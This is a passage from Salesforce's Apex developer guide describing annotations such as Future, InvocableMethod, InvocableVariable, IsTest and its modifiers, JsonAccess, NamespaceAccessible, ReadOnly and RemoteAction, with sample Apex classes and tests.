- You can't remove the `Deprecated` annotation to undepricate something in Apex after you've released a package version where that item in Apex is deprecated.

For more information about package versions, see [Managed Package Types](#) on page 765.

Future Annotation

Use the `Future` annotation to identify methods that run asynchronously. A future method runs when Salesforce has available resources.

 **Important:** Salesforce now recommends that you use Queueable Apex instead of Apex future methods. Queueables have the same use cases as future methods but offer extra benefits, including job IDs, support for non-primitive types, and job chaining. See [Queueable Apex](#).

For example, you can use the `Future` annotation when making an asynchronous web service callout to an external service. Without the annotation, the web service callout is made from the same thread that is running the Apex code. Then no additional processing can occur until the callout is complete (synchronous processing).

Methods with the `Future` annotation must be static methods, and can only return a void type. The specified parameters must be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the `Future` annotation can't take sObjects or objects as arguments.

To make a method in a class execute asynchronously, define the method with the `Future` annotation. For example:

```
public with sharing class MyFutureClass {

    @Future
    static void myMethod(String a, Integer i) {
        System.debug('Method called with: ' + a + ' and ' + i);
        // Perform long-running code
    }
}
```

To allow callouts in a `Future` method, specify `(callout=true)`. The default is `(callout=false)`, which prevents a method from making callouts.

The following snippet shows how to specify that a method executes a callout:

```
@Future (callout=true)
public static void doCalloutFromFuture() {
    //Add code to perform callout
}
```

Future Method Considerations

- Remember that any method that uses the `Future` annotation requires special consideration because the method doesn't necessarily execute in the same order that it's called in.
- Methods with the `Future` annotation can't be used in Visualforce controllers in either `getMethodName` or `setMethodName` methods, nor in the constructor.
- You can't call a method annotated with `Future` from a method that also has the `Future` annotation. Nor can you call a trigger from an annotated method that calls another annotated method.

IntegrationTest Annotation (Developer Preview)

Use the `IntegrationTest` annotation to mark both classes and methods that are used in integration testing.

 **Note:** The Apex Integration Tests feature is available as a developer preview in scratch orgs in Summer '26 (API version 67.0). The feature isn't generally available unless or until Salesforce announces its general availability in documentation or in press releases or public statements. All commands, parameters, and other features are subject to change or deprecation at any time, with or without notice. Don't implement functionality developed with these commands or tools in your production package.

A class annotated with `@IntegrationTest` can only contain integration test methods and `@TearDown` methods. You can't mix `@IntegrationTest` and `@IsTest` annotations on the same class.

Integration test methods cannot be called from non-test contexts or from `@IsTest` test methods. However, integration tests can call methods in `@IsTest` utility classes, for example, shared test data factories.

InvocableMethod Annotation

Use the `InvocableMethod` annotation to identify methods that can be run as invocable actions.

 **Note:** If a flow invokes Apex, the running user must have the corresponding Apex class security set in their user profile or permission set.

Invocable methods are called natively from REST, Apex, flows, Agentforce agents or AI bots that interact with the external API source. Invocable methods have dynamic input and output values and support `describe` calls.

This code sample shows an invocable method with primitive data types.

```
public with sharing class AccountQueryAction {
    @InvocableMethod(
        label='Get Account Names'
        description='Returns the list of account names corresponding to the specified account IDs.'
        category='Account'
    )
    public static List<String> getAccountNames(List<ID> ids) {
        List<Account> accounts = [
            SELECT Name
            FROM Account
```

```

        WHERE Id IN :ids
        WITH USER_MODE
    };
    Map<ID, String> idToName = new Map<ID, String>();
    for (Account account : accounts) {
        idToName.put(account.Id, account.Name);
    }
    // put each name in the output at the same position as the id in the input
    List<String> accountNames = new List<String>();
    for (String id : ids) {
        accountNames.add(idToName.get(id));
    }
    return accountNames;
}
}

```

This code sample shows an invocable method with a specific sObject data type.

```

public with sharing class AccountInsertAction {
    @InvocableMethod(
        label='Insert Accounts'
        description='Inserts the accounts specified and returns the IDs of the new accounts
or null if account is failed to create.'
        category='Account'
    )
    public static List<ID> insertAccounts(List<Account> accounts) {
        Database.SaveResult[] results = Database.insert(
            accounts,
            false,
            AccessLevel.USER_MODE
        );
        List<ID> accountIds = new List<ID>();

        for (Database.SaveResult result : results) {
            if (result.isSuccess()) {
                accountIds.add(result.getId());
            } else {
                accountIds.add(null);
            }
        }

        return accountIds;
    }
}

```

This code sample shows an invocable method with the generic sObject data type.

```

public with sharing class GetFirstFromCollection {
    @InvocableMethod
    public static List<Results> execute(List<Requests> requestList) {
        List<Results> results = new List<Results>();
        for (Requests request : requestList) {
            List<sObject> inputCollection = request.inputCollection;
            sObject outputMember = inputCollection[0];
        }
    }
}

```

```

        //Create a Results object to hold the return values
        Results result = new Results();

        //Add the return values to the Results object
        result.outputMember = outputMember;

        //Add Result to the results List at the same position as the request is in the
        requests List
        results.add(result);
    }
    return results;
}

public with sharing class Requests {
    @InvocableVariable(
        label='Records for Input'
        description='yourDescription'
        required=true
    )
    public List<SObject> inputCollection;
}

public with sharing class Results {
    @InvocableVariable(
        label='Records for Output'
        description='yourDescription'
        required=true
    )
    public SObject outputMember;
}
}

```

This code sample shows an invocable method with a custom icon from an SVG file.

```

global with sharing class CustomSvgIcon {
    @InvocableMethod(label='myIcon' iconName='resource:myPackageName__google:top')
    global static List<Integer> myMethod(List<Integer> request) {
        List<Integer> results = new List<Integer>();
        for(Integer reqInt : request) {
            results.add(reqInt);
        }
        return results;
    }
}

```

This code sample shows an invocable method with a custom icon from the Salesforce Lightning Design System (SLDS).

```

public with sharing class CustomSldsIcon {

    @InvocableMethod(iconName='slds:standard:choice')
    public static void run() {}

}

```

To handle exceptions within an invocable method, wrap the results in an Apex object that reports failures. The execution of the invocable method must run and return the same number of results as inputs received even if errors occur.

For example, this code sample adjusts positive values by taking their square root and multiplying by pi, setting a success flag to `true`. For negative values, it sets the success flag to `false`.

```
global with sharing class AdjustPositiveValuesAction {
    @InvocableMethod(
        label='Adjust Positive Values'
        description='Returns the list of adjusted values. If a number is negative, a failure
is reported for that value.'
    )
    public static List<AdjustmentResult> doAdjustment(List<Double> values) {
        List<AdjustmentResult> results = new List<AdjustmentResult>();

        for (Double value : values) {
            AdjustmentResult result = new AdjustmentResult();

            try {
                // Adjust the value, scale by pi.
                // Note: If the value is negative, this operation throws an exception.
                result.adjustedValue = Math.sqrt(value) * Math.PI;
                result.adjustmentSucceeded = true;
            } catch (Exception e) {
                // If a negative value caused an exception, mark the adjustment as failed, and
                keep processing other values.
                result.adjustmentSucceeded = false;
            }

            results.add(result);
        }

        return results;
    }

    global with sharing class AdjustmentResult {
        @InvocableVariable(label='True if adjustment succeeded')
        global boolean adjustmentSucceeded;

        @InvocableVariable(
            label='Adjusted value, only valid if adjustment succeeded'
        )
        global Double adjustedValue;
    }
}
```

This test method checks whether the value adjustments were successful and verifies the calculated values for positive inputs.

```
// Test class for AdjustPositiveValuesAction
@IsTest
private with sharing class AdjustPositiveValuesActionTest {
    @IsTest
    private static void doTest() {
        // Create a list of test values: 4, -1, 1
        List<Double> values = new List<Double>();
        values.add(4);
        values.add(-1);
        values.add(1);
    }
}
```

```

    Test.startTest();

    // Call the doAdjustment method with the test values.
    List<AdjustPositiveValuesAction.AdjustmentResult> results =
AdjustPositiveValuesAction.doAdjustment(values);

    Test.stopTest();

    // Assertions to check if adjustments were successful or not for each input value.
    Assert.isTrue(results[0].adjustmentSucceeded);
    Assert.isFalse(results[1].adjustmentSucceeded);
    Assert.isTrue(results[2].adjustmentSucceeded);

    // Assertions to check the calculated adjusted values for positive inputs.
    Assert.areEqual(2 * Math.PI, results[0].adjustedValue);
    Assert.areEqual(Math.PI, results[2].adjustedValue);
}
}

```

Supported Modifiers

All modifiers are optional.

label

The label for the method, which appears as the action name in Flow Builder. The default is the method name, though we recommend that you provide a label.

description

The description for the method, which appears as the action description in Flow Builder. The default is `Null`.

callout

The callout modifier identifies whether the method calls to an external system. If the method calls to an external system, add `callout=true`. The default value is `false`.

capabilityType

The capability that integrates with the method. The valid format is `Name://Name`, for example:

```
PromptTemplateType://SalesEmail
```

category

The category for the method, which appears as the action category in Flow Builder. If no category is provided (by default), actions appear under Uncategorized.

configurationEditor

The custom property editor that is registered with the method and appears in Flow Builder when an admin configures the action. If you don't specify this modifier, Flow Builder uses the standard property editor.

iconName

The name of the icon to use as a custom icon for the action in the Flow Builder canvas. You can specify an SVG file that you uploaded as a static resource or a Salesforce Lightning Design System standard icon.

InvocableMethod Considerations

Implementation Notes

- The invocable method must be `static` and `public` or `global`, and its class must be an outer class.

- Only one method in a class can have the `InvocableMethod` annotation.
- The only annotation that can be used with the `InvocableMethod` annotation is `Deprecated`.

Inputs and Outputs

There can be at most one input parameter and its data type must be one of the following:

- A list of a primitive data type or a list of lists of a primitive data type – the generic `Object` type isn't supported.
- A list of an `sObject` type or a list of lists of an `sObject` type.
- A list of the generic `sObject` type (`List<sObject>`) or a list of lists of the generic `sObject` type (`List<List<sObject>>`).
- A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the `InvocableVariable` annotation. To implement your data type, create a custom global or public Apex class. The class must contain at least one member variable with the invocable variable annotation.

If the return type isn't `Null`, the data type returned by the method must be one of the following:

- A list of a primitive data type or a list of lists of a primitive data type – the generic `Object` type isn't supported.
- A list of an `sObject` type or a list of lists of an `sObject` type.
- A list of the generic `sObject` type (`List<sObject>`) or a list of lists of the generic `sObject` type (`List<List<sObject>>`).
- A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the `InvocableVariable` annotation. To implement your data type, create a custom global or public Apex class. The class must contain at least one member variable with the invocable variable annotation.



Note: For a correct bulkification implementation, the Inputs and Outputs must match on both the size and the order. For example, the *i*-th Output entry must correspond to the *i*-th Input entry. Matching entries are required for data correctness when your action is in bulkified execution, such as when an apex action is used in a record trigger flow.

Managed Packages

- You can use invocable methods in packages, but after you add an invocable method you can't remove it from later versions of the package.
- Public invocable methods can be referred to by flows and processes within the managed package.
- Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in Flow Builder and Process Builder in the subscriber org. See [Best Practices for Using Global Apex in Managed Packages](#) on page 772.

For more information about invocable actions, see [Apex Actions](#) in the *Actions Developer Guide*.

SEE ALSO:

[InvocableVariable Annotation](#)

[Actions Developer Guide: Apex Actions](#)

[REST API Developer Guide: Invocable Actions](#)

[Salesforce Help: Add a Custom Icon to an Apex-Defined Action](#)

[Apex Reference Guide: Action Class](#)

[Lightning Web Components Developer Guide: Develop Custom Property Editors for Flow Builder](#)

[Prompt Builder: Ground with Apex](#)

[Making Callouts to External Systems from Invocable Actions](#)

[Extend Invocable Action Configuration in Flow Builder](#)

InvocableVariable Annotation

To identify variables used by invocable methods in custom classes, use the `InvocableVariable` annotation.

The `InvocableVariable` annotation identifies a class variable used as an input or output parameter for an `InvocableMethod` method's invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate individual class member variables to make them available to the method.

This code sample shows an invocable method with invocable variables.

```
global class ConvertLeadAction {
    @InvocableMethod(label='Convert Leads')
    global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
        List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
        for (ConvertLeadActionRequest request : requests) {
            results.add(convertLead(request));
        }
        return results;
    }

    public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {
        Database.LeadConvert lc = new Database.LeadConvert();
        lc.setLeadId(request.leadId);
        lc.setConvertedStatus(request.convertedStatus);

        if (request.accountId != null) {
            lc.setAccountId(request.accountId);
        }

        if (request.contactId != null) {
            lc.setContactId(request.contactId);
        }

        if (request.overWriteLeadSource != null && request.overWriteLeadSource) {
            lc.setOverwriteLeadSource(request.overWriteLeadSource);
        }

        if (request.createOpportunity != null && !request.createOpportunity) {
            lc.setDoNotCreateOpportunity(!request.createOpportunity);
        }

        if (request.opportunityName != null) {
            lc.setOpportunityName(request.opportunityName);
        }

        if (request.ownerId != null) {
            lc.setOwnerId(request.ownerId);
        }

        if (request.sendEmailToOwner != null && request.sendEmailToOwner) {
            lc.setSendNotificationEmail(request.sendEmailToOwner);
        }

        Database.LeadConvertResult lcr = Database.convertLead(lc, true);
        if (lcr.isSuccess()) {
```

```

        ConvertLeadActionResult result = new ConvertLeadActionResult();
        result.accountId = lcr.getAccountId();
        result.contactId = lcr.getContactId();
        result.opportunityId = lcr.getOpportunityId();
        return result;
    } else {
        throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
    }
}

global class ConvertLeadActionRequest {
    @InvocableVariable(required=true)
    global ID leadId;

    @InvocableVariable(required=true)
    global String convertedStatus;

    @InvocableVariable
    global ID accountId;

    @InvocableVariable
    global ID contactId;

    @InvocableVariable
    global Boolean overWriteLeadSource;

    @InvocableVariable
    global Boolean createOpportunity;

    @InvocableVariable
    global String opportunityName;

    @InvocableVariable
    global ID ownerId;

    @InvocableVariable
    global Boolean sendEmailToOwner;
}

global class ConvertLeadActionResult {
    @InvocableVariable
    global ID accountId;

    @InvocableVariable
    global ID contactId;

    @InvocableVariable
    global ID opportunityId;
}

class ConvertLeadActionException extends Exception {}
}

```

This code sample shows an invocable method with invocable variables that have the generic sObject data type.

```
public with sharing class GetFirstFromCollection {
    @InvocableMethod
    public static List<Results> execute (List<Requests> requestList) {
        List<SObject> inputCollection = requestList[0].inputCollection;
        SObject outputMember = inputCollection[0];

        //Create a Results object to hold the return values
        Results response = new Results();

        //Add the return values to the Results object
        response.outputMember = outputMember;

        //Wrap the Results object in a List container
        //(an extra step added to allow this interface to also support bulkification)
        List<Results> responseWrapper= new List<Results>();
        responseWrapper.add(response);
        return responseWrapper;
    }

    public class Requests {
        @InvocableVariable(label='Records for Input' description='yourDescription' required=true)

        public List<SObject> inputCollection;
    }

    public class Results {
        @InvocableVariable(label='Records for Output' description='yourDescription'
        required=true)
        public SObject outputMember;
    }
}
```

Supported Modifiers

All modifiers are optional.



Tip: Default values, labels, and placeholder text appear in Flow Builder for the Action element that corresponds to an invocable method. These modifiers help admins understand how to use variables in the flow.

defaultValue

Provide a value to the action at runtime, if no value is provided then these default values are provided to the action at runtime.

Valid invocable variable data types are:

- Boolean - fields must have a value of 'true' or 'false' and case-insensitive.

```
@InvocableVariable(defaultValue='true')
public Boolean myBoolean;
```

- Decimal - fields must have a value of 'validDecimalValue' where the floating point value can't have a suffix.

```
@InvocableVariable(defaultValue='123.4')
public Decimal myDecimal;
```

- Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.

```
@InvocableVariable(defaultValue='867.3D')
public Double myDouble;
```

- Integer - fields must have a value of 'validIntegerValue' where the inter value can't have a suffix.

```
@InvocableVariable(defaultValue='-214')
public Integer myInteger;
```

- Long - fields must have a value of 'validLongValue' where the l suffix is required and case-insensitive.

```
@InvocableVariable(defaultValue='922337L')
public Long myLong;
```

- String - fields can use any valid string value including the empty string.

```
@InvocableVariable(defaultValue='hello world!')
public String myString;
```

description

The description for the variable. The default is `Null`.

label

The label for the variable. The default is the variable name.

placeholderText

Provides examples or additional guidance about the invocable variable, such as examples of values that can set the invocable variable. Valid invocable variable data types are:

- Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.
- Integer - fields must have a value of 'validIntegerValue' where the inter value can't have a suffix.
- String - fields can use any valid string value including the empty string.

required

Specifies whether the variable is required. If not specified, the default is `false`. The value is ignored for output variables.



Note: The `defaultValue` modifier throws an error when used with `required`.



Example: The invocable variable annotation supports the modifiers shown in this example.

```
@InvocableVariable(label='yourLabel'
description='yourDescription' placeholderText='yourPlaceholderText'
required=(true | false))
```

The invocable variable annotation supports `defaultValue` in this example.

```
@InvocableVariable(defaultValue='yourDefaultValue')
global String createOpportunity;
```

InvocableVariable Considerations

- Other annotations can't be used with the `InvocableVariable` annotation.
- Only global and public variables can be invocable variables.
- The invocable variable can't be any of these:

- A non-member variable such as a `static` or `local` variable.
 - A property.
 - A `final` variable.
 - Protected or `private`.
- The data type of the invocable variable must be one of these:
 - A primitive other than `Object`
 - An `sObject`, either the generic `sObject` or a specific `sObject`
 - A list or a list of lists of primitives, `sObjects`, objects created from Apex classes, or collections
- The invocable variable name in Apex must match the name in the flow. The name is case-sensitive.
- For managed packages:
 - Public invocable variables can be set in flows and processes within the same managed package.
 - Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in Flow Builder and Process Builder in the subscriber org.
- Starting in API version 66.0, Apex classes used for invocable action parameters must have a visible no-argument constructor. Use the default constructor or add your own constructor. The constructor must be public for non-packaged classes or global for packaged classes invoked from outside the package. See [Using Constructors](#) on page 68.

SEE ALSO:

[Apex Developer Guide: InvocableMethod Annotation](#)

[Apex Reference Guide: Action Class](#)

[Extend Invocable Action Configuration in Flow Builder](#)

IsTest Annotation

Use the `@IsTest` annotation to define classes and methods that only contain code used for testing your app. The annotation can take multiple modifiers within parentheses and separated by blanks.

 **Note:** The `@IsTest` annotation on methods is equivalent to the `testMethod` keyword. As best practice, Salesforce recommends that you use `@IsTest` rather than `testMethod`. The `testMethod` keyword may be versioned out in a future release.

Classes and methods that are defined as `@IsTest` can be either `private` or `public`. Classes defined as `@IsTest` must be top-level classes.

 **Note:** Classes defined with the `@IsTest` annotation don't count against your organization limit of 6 MB for all Apex code.

Here's an example of a private test class that contains two test methods.

```
@IsTest
private class MyTestClass {

    // Methods for testing
    @IsTest
    static void test1() {
        // Implement test code
    }
}
```

```

@IsTest
static void test2() {
    // Implement test code
}

```

Here's an example of a public test class that contains utility methods for test data creation:

```

@IsTest
public class TestUtil {

    public static void createTestAccounts() {
        // Create some test accounts
    }

    public static void createTestContacts() {
        // Create some test contacts
    }

}

```

Classes defined as `@IsTest` can't be interfaces or enums.

Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method. Non-test requests can't call public methods.. To learn about the various ways you can run test methods, see [Run Unit Test Methods](#).

`@IsTest(SeeAllData=true)` Annotation

For Apex code saved using Salesforce API version 24.0 and later, use the `@IsTest(SeeAllData=true)` annotation to grant test classes and individual test methods access to all data in the organization. The access includes pre-existing data that the test didn't create. Starting with Apex code saved using Salesforce API version 24.0, test methods don't have access to pre-existing data in the organization. However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization. See [Isolation of Test Data from Organization Data in Unit Tests](#) on page 726.

Considerations for the `@IsTest(SeeAllData=true)` Annotation

- If a test class is defined with the `@IsTest(SeeAllData=true)` annotation, the `SeeAllData=true` applies to all test methods that don't explicitly set the `SeeAllData` keyword.
- The `@IsTest(SeeAllData=true)` annotation is used to open up data access when applied at the class or method level. However, if the containing class has been annotated with `@IsTest(SeeAllData=true)`, annotating a method with `@IsTest(SeeAllData=false)` is ignored for that method. In this case, that method still has access to all the data in the organization. Annotating a method with `@IsTest(SeeAllData=true)` overrides, for that method, an `@IsTest(SeeAllData=false)` annotation on the class.
- `@IsTest(SeeAllData=true)` and `@IsTest(IsParallel=true)` annotations can't be used together on the same Apex method.

This example shows how to define a test class with the `@IsTest(SeeAllData=true)` annotation. All the test methods in this class have access to all data in the organization.

```

// All test methods in this class can access all data.
@IsTest(SeeAllData=true)
public class TestDataAccessClass {

    // This test accesses an existing account.

```

```
// It also creates and accesses a new test account.
@IsTest
static void myTestMethod1() {
    // Query an existing account in the organization.
    Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
    System.assert(a != null);

    // Create a test account based on the queried account.
    Account testAccount = a.clone();
    testAccount.Name = 'Acme Test';
    insert testAccount;

    // Query the test account that was inserted.
    Account testAccount2 = [SELECT Id, Name FROM Account
                           WHERE Name='Acme Test' LIMIT 1];
    System.assert(testAccount2 != null);
}

// Like the previous method, this test method can also access all data
// because the containing class is annotated with @IsTest(SeeAllData=true).
@IsTest
static void myTestMethod2() {
    // Can access all data in the organization.
}
}
```

This second example shows how to apply the `@IsTest(SeeAllData=true)` annotation on a test method. Because the test method's class isn't annotated, you have to annotate the method to enable access to all data for the method. The second test method doesn't have this annotation, so it can access only the data it creates. In addition, it can access objects that are used to manage your organization, such as users.

```
// This class contains test methods with different data access levels.
@IsTest
private class ClassWithDifferentDataAccess {

    // Test method that has access to all data.
    @IsTest(SeeAllData=true)
    static void testWithAllDataAccess() {
        // Can query all data in the organization.
    }

    // Test method that has access to only the data it creates
    // and organization setup and metadata objects.
    @IsTest
    static void testWithOwnDataAccess() {
        // This method can still access the User object.
        // This query returns the first user object.
        User u = [SELECT UserName,Email FROM User LIMIT 1];
        System.debug('UserName: ' + u.UserName);
        System.debug('Email: ' + u.Email);

        // Can access the test account that is created here.
    }
}
```



```

    Account a = new Account(Name='Test Account');
    insert a;
    // Access the account that was just created.
    Account insertedAcct = [SELECT Id,Name FROM Account
                           WHERE Name='Test Account'];
    System.assert(insertedAcct != null);
}
}

```

@IsTest(OnInstall=true) Annotation

Use the `@IsTest(OnInstall=true)` annotation to specify which Apex tests are executed during package installation. This annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of a test class that has this annotation, are executed during package installation. Tests annotated to run during package installation must pass in order for the package installation to succeed. It's no longer possible to bypass a failing test during package installation. A test method or a class that doesn't have this annotation, or that is annotated with `@IsTest(OnInstall=false)` or `@IsTest`, isn't executed during installation.

Tests annotated with `IsTest(OnInstall=true)` that run during package install and upgrade aren't counted towards code coverage. However, code coverage is tracked and counted during a package creation operation. Because Apex code installed from a managed package is excluded from org level requirements for code coverage, it's unlikely that you're affected. But, if you track managed package test coverage, you must rerun these tests outside of the package install or upgrade operation for code coverage statistics to be updated. Package install isn't blocked by code coverage requirements.

This example shows how to annotate a test method that is executed during package installation. In this example, `test1` is executed but `test2` and `test3` isn't.

```

public class OnInstallClass {
    // Implement logic for the class.
    public void method1() {
        // Some code
    }
}

```

```

@IsTest
private class OnInstallClassTest {
    // This test method will be executed
    // during the installation of the package.
    @IsTest(OnInstall=true)
    static void test1() {
        // Some test code
    }

    // Tests excluded from running during the
    // the installation of a package.

    @IsTest
    static void test2() {
        // Some test code
    }

    @IsTest
    static void test3() {
        // Some test code
    }
}

```

```
}
}
```

@IsTest(IsParallel=true) Annotation

Use the `@IsTest(IsParallel=true)` annotation to indicate test classes that can run in parallel.

Considerations for the @IsTest(IsParallel=true) annotation

- This annotation forces the test to run in parallel even if the org-wide `Disable Parallel Apex Testing` option is set.
- `@IsTest(SeeAllData=true)` and `@IsTest(IsParallel=true)` annotations can't be used together on the same Apex method.

Restrictions on Apex tests using the @IsTest(IsParallel=true) annotation

- Tests can't call the `Test.getStandardPricebookId()` method.
- Tests can't call the `System.schedule()` and `System.enqueueJob()` methods.
- Tests can't insert a `ContentNote` SObject.
- Tests can't create `User` or `GroupMember` SObjects.
- Tests can't use the SObjects that are listed in [sObjects That Can't Be Used Together in DML Operations](#).

@IsTest(critical=true) Annotation (Beta)

Important: The `RunRelevantTests` test level and the associated `@IsTest()` annotations are pilot or beta services that are subject to the Beta Services Terms at Agreements — [Salesforce.com](#) or a written Unified Pilot Agreement if executed by Customer, and applicable terms in the Product Terms Directory. Use of these pilot or beta services are at the Customer's sole discretion.

If you set the deployment test level to `RunRelevantTests`, use the `@IsTest(critical=true)` annotation to guarantee that the test class always runs during deployments, regardless of the deployment payload. This annotation is available at the test class level in Salesforce API version 66.0 and later. Using this annotation on a test method results in a compilation error.

This example code shows a test class marked with the `@IsTest(critical=true)` annotation. When you set the deployment test level to `RunRelevantTests`, the tests in this class always run.

```
@IsTest(critical=true)
public with sharing class AccountServiceTest {
    // ...
}
```

@IsTest(testFor='...') Annotation (Beta)

Important: The `RunRelevantTests` test level and the associated `@IsTest()` annotations are pilot or beta services that are subject to the Beta Services Terms at Agreements — [Salesforce.com](#) or a written Unified Pilot Agreement if executed by Customer, and applicable terms in the Product Terms Directory. Use of these pilot or beta services are at the Customer's sole discretion.

If you set the deployment test level to `RunRelevantTests`, use the `@IsTest(testFor='...')` annotation to guarantee that the tests in the class run whenever the deployment includes new or modified versions of the referenced Apex components. This annotation is available at the test class level in Salesforce API version 66.0 and later. Using this annotation on a test method results in a compilation error.

To use `@IsTest(testFor='...')`, set the `testFor` parameter to a comma-separated string of Apex classes and Apex triggers. For Apex classes, use the format `ApexClass:ClassName`. For Apex triggers, use the format `ApexTrigger:TriggerName`. If specifying a class or trigger from a different namespace, use the fully qualified name, for example, `ApexClass:MyNamespace.ClassName`.

This example code shows a test class marked with the `@IsTest(testFor='...')` annotation. If you set the deployment test level to `RunRelevantTests`, this test class runs whenever `AccountHandler` or `AccountTrigger` are new or modified in the deployment payload.

```
@IsTest(testFor='ApexClass:AccountHandler,ApexTrigger:AccountTrigger')
public with sharing class AccountHandlerTest {
    // ...
}
```

JsonAccess Annotation

The `@JsonAccess` annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized. If the annotation restricts the JSON or XML serialization and deserialization, a runtime `JSONException` exception is thrown.

The `serializable` and `deserializable` parameters of the `@JsonAccess` annotation enforce the contexts in which Apex allows serialization and deserialization. You can specify one or both parameters, but you can't specify the annotation with no parameters. The valid values for the parameters to indicate whether serialization and deserialization are allowed:

- `never`: never allowed
- `sameNamespace`: allowed only for Apex code in the same namespace
- `samePackage`: allowed only for Apex code in the same package (impacts only second-generation packages)
- `always`: always allowed for any Apex code

This example code shows an Apex class marked with the `@JsonAccess` annotation.

```
// SomeSerializableClass is serializable in the same package and deserializable in the
// wider namespace

@JsonAccess(serializable='samePackage' deserializable='sameNamespace')
public class SomeSerializableClass { }

// AlwaysDeserializable class is always deserializable and serializable only in the same
// namespace (default value from version 49.0 and later)

@JsonAccess(deserializable='always')
public class AlwaysDeserializable { }
```

JsonAccess Considerations

- If an Apex class annotated with `JsonAccess` is extended, the extended class doesn't inherit this property.
- If the `toString` method is applied on objects that mustn't be serialized, private data can be exposed. You must override the `toString` method on objects whose data must be protected. For example, serializing an object stored as a key in a Map invokes the `toString` method. The generated map includes key (string) and value entries, thus exposing all the fields of the object.

Versioned Behavior Changes

In versions 48.0 and earlier, the default access for deserialization is `always` and the default access for serialization is `sameNamespace` to preserve the existing behavior. From version 49.0 onwards, the default access for both serialization and deserialization is `sameNamespace`.

NamespaceAccessible Annotation

The `@NamespaceAccessible` makes public Apex in a package available to other packages that use the same namespace. Without this annotation, Apex classes, methods, interfaces, properties, and abstract classes defined in a 2GP package aren't accessible to the other packages with which they share a namespace. Apex that is declared global is always available across all namespaces, and needs no annotation.

For more information on 2GP managed packages, see [Second-Generation Managed Packages](#) in *Salesforce DX Developer Guide*.

Considerations for Apex Accessibility Across Packages

- You can't use the `@NamespaceAccessible` annotation for an `@AuraEnabled` Apex method or an `@InvocableMethod` Apex method.
- You can add or remove the `@NamespaceAccessible` annotation at any time, even on managed and released Apex code. Make sure that you don't have dependent packages relying on the functionality of the annotation before adding or removing it.
- When adding or removing `@NamespaceAccessible` Apex from a package, consider the impact to customers with installed versions of other packages that reference this package's annotation. Before pushing a package upgrade, ensure that no customer is running a package version that would fail to fully compile when the upgrade is pushed.
- If a public interface is declared as `@NamespaceAccessible`, then all interface members inherit the annotation. Individual interface members can't be annotated with `@NamespaceAccessible`.
- If a public or protected variable or method is declared as `@NamespaceAccessible`, its defining class must be either global or public with the `@NamespaceAccessible` annotation.
- If a public or protected inner class is declared as `@NamespaceAccessible`, its enclosing class must be either global or public with the `@NamespaceAccessible` annotation.

This example shows an Apex class marked with the `@NamespaceAccessible` annotation. The class is accessible to other packages within the same namespace. The first constructor is also visible within the namespace, but the second constructor isn't.

```
// A namespace-visible Apex class
@NamespaceAccessible
public class MyClass {
    private Boolean bypassFLS;

    // A namespace-visible constructor that only allows secure use
    @NamespaceAccessible
    public MyClass() {
        bypassFLS = false;
    }

    // A package private constructor that allows use in trusted contexts,
    // but only internal to the package
    public MyClass (Boolean bypassFLS) {
        this.bypassFLS = bypassFLS;
    }
    @NamespaceAccessible
    protected Boolean getBypassFLS() {
        return bypassFLS;
    }
}
```

```

    }
}

```

Versioned Behavior Changes

In API version 47.0 and later, `@NamespaceAccessible` isn't allowed on an entity marked with `@AuraEnabled`. Therefore, an Aura or Lightning web component installed from a package can't call an Apex method from another package, even if both packages are in the same namespace. However, an `@AuraEnabled` public method from one package can call a `@NamespaceAccessible` public method from another package in the same namespace.

Therefore, this behavior isn't allowed.

```

// In Package1 in the Acme namespace
public with sharing class MyController {
    // Stacking these annotations isn't allowed
    @AuraEnabled
    @NamespaceAccessible
    public static void myMethod( ){
        // ...
    }
}

```

But this behavior is allowed.

```

// In Package1 in the Acme namespace
public with sharing class Service {
    @NamespaceAccessible
    public static void doSomething() {
        // ...
    }
}

// In Package2 in the Acme namespace
public with sharing class MyController {
    // Can call the @NamespaceAccessible method
    @AuraEnabled
    public static void myMethod( ){
        Service.doSomething();
    }
}

```

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@NamespaceAccessible`. For accessibility considerations, see [Considerations for Apex Accessibility Across Packages](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

ReadOnly Annotation

The `@ReadOnly` annotation allows you to perform less restrictive queries against the Lightning Platform database by increasing the limit of the number of returned rows for a request to 1,000,000. All other limits still apply. The annotation blocks the following operations within the request: DML operations, calls to `System.schedule`, and enqueued asynchronous Apex jobs.

The `@ReadOnly` annotation is available for REST and SOAP Web services and the `Schedulable` interface. To use the `@ReadOnly` annotation, the top-level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web service that contains the `@ReadOnly` annotation, the request fails because Visualforce is the top-level request, not the Web service.

Visualforce pages can call controller methods with the `@ReadOnly` annotation, and those methods run with the same relaxed restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like `<apex:pageBlockTable>`, you can set the `readonly` attribute on the `<apex:page>` tag to `true`. For more information, see [Working with Large Sets of Data](#) in the *Visualforce Developer's Guide*.

Versioned Behavior Changes

Prior to API version 49.0, using `@ReadOnly` on Apex REST methods (`@HttpDelete`, `@HttpGet`, `@HttpPatch`, `@HttpPost`, or `@HttpPut`) also required annotating the method with `@RemoteAction`. In API version 49.0 and later, you can annotate Apex REST methods with just `@ReadOnly`.

RemoteAction Annotation

The `RemoteAction` annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is often referred to as JavaScript remoting.



Note: Methods with the `RemoteAction` annotation must be `static` and either `global` or `public`.

Add the Apex class as a custom controller or a controller extension to your page.

```
<apex:page controller="MyController" extension="MyExtension">
```



